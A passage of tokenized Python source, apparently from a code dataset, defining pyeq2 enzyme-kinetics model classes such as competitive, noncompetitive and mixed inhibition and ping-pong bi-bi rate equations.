"=_",
"(_",
"(_",
"a_",
"*_",
"y",
"\\u",
"in_",
")_",
"/_",
"b_",
")_",
"/_",
"(_",
"1.0_",
"+_",
"y",
"\\u",
"in_",
"/_",
"b_",
"+_",
"x",
"\\u",
"in_",
"/_",
"c_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"self_",
"._",
"extend",
"ed",
"Version",
"Handler_",
"._",
"Get",
"Addition",
"al",
"Model",
"Prediction",
"s_",
"(_",
"temp_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
",_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"numpy_",
"._",
"ones_",
"(_",
"len_",
"(_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Dependent",
"Data",
"'_",
"]_",
")_",
")_",
"*_",
"1.0",
"E3",
"00_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"In",
"hibit",
"ion",
"By",
"Compet",
"ing",
"Substr",
"ate",
"C_",
"(_",
"pye",
"q2_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"Calculat",
"e",
"Model",
"Prediction",
"s_",
"(_",
"self_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"X",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"y",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Y",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"xy_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"XY",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"b_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"2_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"temp_",
"=_",
"(_",
"(_",
"a_",
"*_",
"xy_",
")_",
"/_",
"b_",
")_",
"/_",
"(_",
"1.0_",
"+_",
"y",
"\\u",
"in_",
"/_",
"b_",
"+_",
"x",
"\\u",
"in_",
"/_",
"c_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"self_",
"._",
"extend",
"ed",
"Version",
"Handler_",
"._",
"Get",
"Addition",
"al",
"Model",
"Prediction",
"s_",
"(_",
"temp_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
",_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"numpy_",
"._",
"ones_",
"(_",
"len_",
"(_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Dependent",
"Data",
"'_",
"]_",
")_",
")_",
"*_",
"1.0",
"E3",
"00_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Mich",
"ael",
"is",
"Ment",
"en",
"Product",
"In",
"hibit",
"ion_",
"(_",
"pye",
"q2_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"Calculat",
"e",
"Model",
"Prediction",
"s_",
"(_",
"self_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"X",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"y",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Y",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"b_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"2_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"3_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"temp_",
"=_",
"(_",
"a_",
"*_",
"x",
"\\u",
"in_",
"/_",
"b_",
"-_",
"c_",
"*_",
"y",
"\\u",
"in_",
"/_",
"d_",
")_",
"/_",
"(_",
"1.0_",
"+_",
"x",
"\\u",
"in_",
"/_",
"b_",
"+_",
"y",
"\\u",
"in_",
"/_",
"d_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"self_",
"._",
"extend",
"ed",
"Version",
"Handler_",
"._",
"Get",
"Addition",
"al",
"Model",
"Prediction",
"s_",
"(_",
"temp_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
",_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"numpy_",
"._",
"ones_",
"(_",
"len_",
"(_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Dependent",
"Data",
"'_",
"]_",
")_",
")_",
"*_",
"1.0",
"E3",
"00_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Mix",
"ed",
"In",
"hibit",
"ion",
"A_",
"(_",
"pye",
"q2_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"Calculat",
"e",
"Model",
"Prediction",
"s_",
"(_",
"self_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"X",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"y",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Y",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"b_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"2_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"3_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"temp_",
"=_",
"a_",
"*_",
"x",
"\\u",
"in_",
"/_",
"(_",
"b_",
"*_",
"(_",
"1.0_",
"+_",
"y",
"\\u",
"in_",
"/_",
"c_",
")_",
"+_",
"(_",
"x",
"\\u",
"in_",
"*_",
"(_",
"1.0_",
"+_",
"y",
"\\u",
"in_",
"/_",
"d_",
")_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"self_",
"._",
"extend",
"ed",
"Version",
"Handler_",
"._",
"Get",
"Addition",
"al",
"Model",
"Prediction",
"s_",
"(_",
"temp_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
",_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"numpy_",
"._",
"ones_",
"(_",
"len_",
"(_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Dependent",
"Data",
"'_",
"]_",
")_",
")_",
"*_",
"1.0",
"E3",
"00_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Mix",
"ed",
"In",
"hibit",
"ion",
"B_",
"(_",
"pye",
"q2_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"Calculat",
"e",
"Model",
"Prediction",
"s_",
"(_",
"self_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"X",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"y",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Y",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"b_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"2_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"3_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"temp_",
"=_",
"a_",
"*_",
"y",
"\\u",
"in_",
"/_",
"(_",
"b_",
"*_",
"(_",
"1.0_",
"+_",
"x",
"\\u",
"in_",
"/_",
"c_",
")_",
"+_",
"(_",
"y",
"\\u",
"in_",
"*_",
"(_",
"1.0_",
"+_",
"x",
"\\u",
"in_",
"/_",
"d_",
")_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"self_",
"._",
"extend",
"ed",
"Version",
"Handler_",
"._",
"Get",
"Addition",
"al",
"Model",
"Prediction",
"s_",
"(_",
"temp_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
",_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"numpy_",
"._",
"ones_",
"(_",
"len_",
"(_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Dependent",
"Data",
"'_",
"]_",
")_",
")_",
"*_",
"1.0",
"E3",
"00_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Non",
"compet",
"iti",
"ve",
"In",
"hibit",
"ion",
"A_",
"(_",
"pye",
"q2_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"Calculat",
"e",
"Model",
"Prediction",
"s_",
"(_",
"self_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"X",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"y",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Y",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"b_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"2_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"temp_",
"=_",
"a_",
"*_",
"x",
"\\u",
"in_",
"/_",
"(_",
"(_",
"b_",
"+_",
"x",
"\\u",
"in_",
")_",
"*_",
"(_",
"1.0_",
"+_",
"y",
"\\u",
"in_",
"/_",
"c_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"self_",
"._",
"extend",
"ed",
"Version",
"Handler_",
"._",
"Get",
"Addition",
"al",
"Model",
"Prediction",
"s_",
"(_",
"temp_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
",_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"numpy_",
"._",
"ones_",
"(_",
"len_",
"(_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Dependent",
"Data",
"'_",
"]_",
")_",
")_",
"*_",
"1.0",
"E3",
"00_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Non",
"compet",
"iti",
"ve",
"In",
"hibit",
"ion",
"B_",
"(_",
"pye",
"q2_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"Calculat",
"e",
"Model",
"Prediction",
"s_",
"(_",
"self_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"X",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"y",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Y",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"b_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"2_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"temp_",
"=_",
"a_",
"*_",
"y",
"\\u",
"in_",
"/_",
"(_",
"(_",
"b_",
"+_",
"y",
"\\u",
"in_",
")_",
"*_",
"(_",
"1.0_",
"+_",
"x",
"\\u",
"in_",
"/_",
"c_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"self_",
"._",
"extend",
"ed",
"Version",
"Handler_",
"._",
"Get",
"Addition",
"al",
"Model",
"Prediction",
"s_",
"(_",
"temp_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
",_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"numpy_",
"._",
"ones_",
"(_",
"len_",
"(_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Dependent",
"Data",
"'_",
"]_",
")_",
")_",
"*_",
"1.0",
"E3",
"00_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Ping",
"Pon",
"g",
"Bi",
"Bi",
"A_",
"(_",
"pye",
"q2_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"Calculat",
"e",
"Model",
"Prediction",
"s_",
"(_",
"self_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"X",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"y",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Y",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"xy_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"XY",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"b_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"2_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"temp_",
"=_",
"(_",
"a_",
"*_",
"x",
"\\u",
"in_",
")_",
"/_",
"(_",
"b_",
"*_",
"x",
"\\u",
"in_",
"+_",
"c_",
"*_",
"y",
"\\u",
"in_",
"+_",
"xy_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"self_",
"._",
"extend",
"ed",
"Version",
"Handler_",
"._",
"Get",
"Addition",
"al",
"Model",
"Prediction",
"s_",
"(_",
"temp_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
",_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"numpy_",
"._",
"ones_",
"(_",
"len_",
"(_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Dependent",
"Data",
"'_",
"]_",
")_",
")_",
"*_",
"1.0",
"E3",
"00_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Ping",
"Pon",
"g",
"Bi",
"Bi",
"B_",
"(_",
"pye",
"q2_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"Calculat",
"e",
"Model",
"Prediction",
"s_",
"(_",
"self_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"X",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"y",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Y",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"xy_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"XY",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"b_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"2_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"temp_",
"=_",
"(_",
"a_",
"*_",
"y",
"\\u",
"in_",
")_",
"/_",
"(_",
"b_",
"*_",
"y",
"\\u",
"in_",
"+_",
"c_",
"*_",
"x",
"\\u",
"in_",
"+_",
"xy_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"self_",
"._",
"extend",
"ed",
"Version",
"Handler_",
"._",
"Get",
"Addition",
"al",
"Model",
"Prediction",
"s_",
"(_",
"temp_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
",_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"numpy_",
"._",
"ones_",
"(_",
"len_",
"(_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Dependent",
"Data",
"'_",
"]_",
")_",
")_",
"*_",
"1.0",
"E3",
"00_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Ping",
"Pon",
"g",
"Bi",
"Bi",
"C_",
"(_",
"pye",
"q2_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"Calculat",
"e",
"Model",
"Prediction",
"s_",
"(_",
"self_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
